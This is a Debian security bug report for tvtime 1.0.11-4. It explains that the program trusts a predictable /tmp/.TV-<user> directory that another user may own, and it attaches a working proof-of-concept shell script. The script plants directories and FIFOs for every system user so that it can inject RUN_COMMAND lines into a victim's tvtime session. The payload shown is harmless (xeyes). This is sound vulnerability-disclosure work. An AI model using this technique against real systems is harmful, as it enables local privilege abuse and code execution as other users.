Package: tvtime
Version: 1.0.11-4
Severity: grave
Tags: security
tvtime uses /tmp/.TV-/ as a temporary directory, even when it
belongs to another (potentially malicious) user. Local attacker can
exploit this bug to execute arbitrary code in the context of a tvtime
user.
I've attached a proof-of-concept exploit.
--
Jakub Wilk
#!/bin/sh
set -e -u
if ! command -v xeyes > /dev/null
then
printf 'xeyes(1) not found. Please install x11-apps.\n' >&2
exit 1
fi
cd /tmp
basedir=$(mktemp -d tvtime-exploit.XX)
chmod 755 "$basedir"
mkfifo -m 644 "$basedir/cmd"
mkfifo -m 666 "$basedir/ratelim"
hostname=$(hostname)
users=$(getent passwd | cut -d: -f1)
for user in $users
do
userdir=".TV-$user"
rm -rf "$userdir" || true # maybe stale dir from the previous exploit run?
if ! mkdir -m 755 "$userdir"
then
printf 'Failed to mount the exploit against %s; Maybe try again after
reboot?\n' "$user"
continue
fi
ln "$basedir/cmd" "$userdir/tvtimefifo-$hostname"
done
while true
do
printf 'Waiting for the victim to run tvtime...' "$0" >&2
printf 'RUN_COMMAND xeyes && echo x > /tmp/%s; true\n' "$basedir/ratelim" >
"$basedir/cmd"
printf '\n' >&2
read x < "$basedir/ratelim"
done
